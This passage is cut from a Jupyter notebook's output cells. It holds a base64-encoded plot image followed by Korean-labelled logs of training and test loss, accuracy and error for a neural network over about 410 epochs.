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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "2 0.03184998035430908\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 1.6263705492019653 0.36812499165534973 0.6318750083446503\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 1.6626052856445312 0.35249999165534973 0.6475000083446503\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.8692536354064941 0.4194999933242798 0.5805000066757202\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.9343619346618652 0.4699999988079071 0.5300000011920929\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.6832653880119324 0.6044999957084656 0.3955000042915344\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.6220727562904358 0.6449999809265137 0.35500001907348633\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.5401166677474976 0.7620000243186951 0.23799997568130493\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.6360070109367371 0.7599999904632568 0.24000000953674316\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.37503504753112793 0.8629999756813049 0.13700002431869507\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.4247349202632904 0.8475000262260437 0.1524999737739563\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2779417932033539 0.9294999837875366 0.07050001621246338\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.40103474259376526 0.9325000047683716 0.06749999523162842\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.15279443562030792 0.9660000205039978 0.0339999794960022\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.49290499091148376 0.9725000262260437 0.0274999737739563\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.098780557513237 0.9729999899864197 0.027000010013580322\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.12194947153329849 0.9674999713897705 0.03250002861022949\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09699960798025131 0.9729999899864197 0.027000010013580322\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2938677668571472 0.9800000190734863 0.019999980926513672\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0703686997294426 0.9760000109672546 0.02399998903274536\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05462905019521713 0.987500011920929 0.012499988079071045\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.048985764384269714 0.9764999747276306 0.023500025272369385\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04770217090845108 0.9725000262260437 0.0274999737739563\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06016632914543152 0.9785000085830688 0.021499991416931152\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05975892394781113 0.9900000095367432 0.009999990463256836\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09267960488796234 0.9794999957084656 0.020500004291534424\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05736306309700012 0.9725000262260437 0.0274999737739563\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05217241495847702 0.9750000238418579 0.02499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.021365676075220108 0.9775000214576721 0.02249997854232788\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.033589646220207214 0.9800000190734863 0.019999980926513672\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.17207922041416168 0.9725000262260437 0.0274999737739563\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03355143219232559 0.9815000295639038 0.01849997043609619\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09651599079370499 0.9674999713897705 0.03250002861022949\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05751365050673485 0.9769999980926514 0.023000001907348633\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09538953751325607 0.9725000262260437 0.0274999737739563\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05614620819687843 0.9794999957084656 0.020500004291534424\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.02448303997516632 0.9825000166893005 0.017499983310699463\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06012403964996338 0.9775000214576721 0.02249997854232788\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.13656370341777802 0.9750000238418579 0.02499997615814209\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0783267468214035 0.9779999852180481 0.022000014781951904\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10304950922727585 0.9850000143051147 0.014999985694885254\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.040865395218133926 0.9764999747276306 0.023500025272369385\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07949589937925339 0.9800000190734863 0.019999980926513672\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.018979612737894058 0.9835000038146973 0.016499996185302734\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06793525815010071 0.9750000238418579 0.02499997615814209\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0287904292345047 0.9860000014305115 0.013999998569488525\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010641306638717651 0.9900000095367432 0.009999990463256836\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05674784258008003 0.9835000038146973 0.016499996185302734\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.028272666037082672 0.9825000166893005 0.017499983310699463\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04883702099323273 0.9835000038146973 0.016499996185302734\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.26486364006996155 0.9775000214576721 0.02249997854232788\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04114028066396713 0.9779999852180481 0.022000014781951904\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05550665780901909 0.9800000190734863 0.019999980926513672\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12367329001426697 0.9794999957084656 0.020500004291534424\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.35208070278167725 0.9800000190734863 0.019999980926513672\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09147867560386658 0.9764999747276306 0.023500025272369385\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.041970208287239075 0.9800000190734863 0.019999980926513672\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05258075147867203 0.9754999876022339 0.024500012397766113\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005115359090268612 0.9850000143051147 0.014999985694885254\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.015708796679973602 0.9810000061988831 0.018999993801116943\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0421910285949707 0.9800000190734863 0.019999980926513672\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.04423046484589577 0.9810000061988831 0.018999993801116943\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010164418257772923 0.9825000166893005 0.017499983310699463\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08950477093458176 0.9769999980926514 0.023000001907348633\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.017307208850979805 0.9900000095367432 0.009999990463256836\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.023200636729598045 0.9860000014305115 0.013999998569488525\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.007826175540685654 0.9850000143051147 0.014999985694885254\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.033884163945913315 0.9819999933242798 0.018000006675720215\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.038370050489902496 0.9775000214576721 0.02249997854232788\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03611675649881363 0.9775000214576721 0.02249997854232788\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.11291345953941345 0.9775000214576721 0.02249997854232788\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.017864545807242393 0.9825000166893005 0.017499983310699463\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0503714382648468 0.9674999713897705 0.03250002861022949\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.020567340776324272 0.9735000133514404 0.02649998664855957\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005458346568048 0.9825000166893005 0.017499983310699463\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03371848911046982 0.9804999828338623 0.019500017166137695\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.012348752468824387 0.9925000071525574 0.007499992847442627\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13328275084495544 0.9810000061988831 0.018999993801116943\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.3232281506061554 0.987500011920929 0.012499988079071045\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.015268797054886818 0.9835000038146973 0.016499996185302734\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006315891165286303 0.9825000166893005 0.017499983310699463\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.021989895030856133 0.9789999723434448 0.021000027656555176\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04085315763950348 0.9825000166893005 0.017499983310699463\n", "Epoch: 410, 트레이닝의 손실과 마지막 